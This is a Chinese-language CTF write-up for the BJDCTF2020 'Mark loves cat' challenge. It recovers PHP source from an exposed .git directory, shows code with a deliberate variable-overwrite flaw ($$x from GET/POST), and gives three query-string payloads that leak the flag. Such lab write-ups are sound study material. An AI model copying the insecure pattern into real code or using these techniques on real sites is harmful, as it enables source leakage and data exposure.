[BJDCTF2020]Mark loves cat 1
一进入环境,毫无头绪
拿御剑 或者 dirsearch 扫出了 .git/ 可以猜出,本关一定与git源码泄露有关
我们使用GitHack 看能否从网站上扒出源码
图上可以看出 确实存在 git泄露 但,查看文件后却没有找到 php文件 。估计是ctf环境的问题 可以git init
初始化一下,然后不停的试,总有运气好的一次,能够从网站上扒出源码文件。(也可以直接从网上直接找 )
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
}
exit 输出一条消息,并退出当前脚本
我们进行代码审计 在这关我们绕过三个 if 函数 直接echo 明显不现实 所以突破点就是那三个 exit
上面我们要想绕过 需要
- get中参数必须含有 $ x 同时$ x不能含有flag
- 存在get参数 或者 存在post参数
- post参数恒等于 flag 或者 get参数恒等于 falg
当我们到达最后的时候fal也被重置了
可变变量:如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个 $ 符号
$a = 'b'; $b = 'bb'; echo $$a; // 输出 bb 1.找到 $a,解析结果:b 2.找到$b,解析结果 bb
可以简单理解为
$$x
就相当于是$($x)
本关的核心代码为:
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
我们可以利用 foreach 进行变量重覆盖
在这一关可以执行输出内容地方有两个函数 exit 和 echo
第一个 exit(最后讲)
第二个 exit——覆盖 yds
我们的思路就是让flag变量覆盖到yds上,在执行exit($yds);
的时候输出flag
·payload·
?yds=flag
我们进行get传参的时候,会执行
foreach($_GET as $x => $y){ $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值>为键名的值 }
他输出
$yds
。我们只需让$yds=$flag
就好了
由于我们输入的变量是yds=flag
所以$x
=yds$y
=flag
$$x
=$$y
所以$yds=$flag
flag变量就是 我们要的东西
exit($yds)。就是echo $flag。
第三个——覆盖 is
·payload·
?is=flag&flag=flag
前半段和前面的方法原理相同,让flag覆盖is
后面的flag=flag
—>$flag
=$flag
目的是为了符合第三个if需求:($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
进而输出 flag
第一个——覆盖handsome
构造payload:
?handsome=flag&flag=x&x=flag
handsome=flag不用说 就是让$handsome
=$flag
后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome
这里的值表面是 x 但前面我们进行了变量覆盖使得 x=flag 所以在这里我们输出x的值就是flag的值